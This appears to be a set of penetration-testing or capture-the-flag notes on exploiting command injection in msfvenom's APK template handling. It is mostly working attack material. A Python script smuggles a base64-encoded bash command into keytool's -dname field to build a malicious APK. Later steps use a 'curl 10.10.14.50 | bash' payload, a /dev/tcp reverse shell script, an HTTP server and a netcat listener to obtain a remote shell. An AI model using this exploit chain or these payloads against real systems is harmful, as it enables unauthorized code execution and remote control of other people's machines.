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# APK with Msfvenom
Msfvenom APK template injection notes for keytool command injection, malicious APK generation, callback detection, reverse shell payloads, and exploit delivery.
## msfvenom APK template command injection
A vulnerable service is identified on port 5000.
Search for related vulnerabilities:
```bash
searchsploit -m multiple/local/49491.py
```
A potential APK-based injection is identified.
**Script d'exploit (msfvenom-exploit.py)**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# Change me
payload = 'ping 10.10.14.50'
# b64encode to avoid badchars (keytool is picky)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# Touch empty_file
open(empty_file, "w").close()
# Create apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Generate signing key with malicious -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# Sign APK using our malicious dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
The script generates a temporary file containing a malicious APK.
**ICMP Packet Analysis**
Monitor network activity for a callback:
```bash
tcpdump -i tun0 icmp -n
```
### **RCE Exploitation with Msfvenom**
Modify the payload to establish a reverse connection:
```bash
# Change me
payload = 'curl 10.10.14.50 | bash'
```
Create an `index.html` file containing:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
Start an HTTP server:
```bash
python3 -m http.server 80
```
Then listen for the connection on port 443:
```bash
nc -nlvp 443
```
Once the APK is sent and executed on the target, a remote shell is obtained.
---
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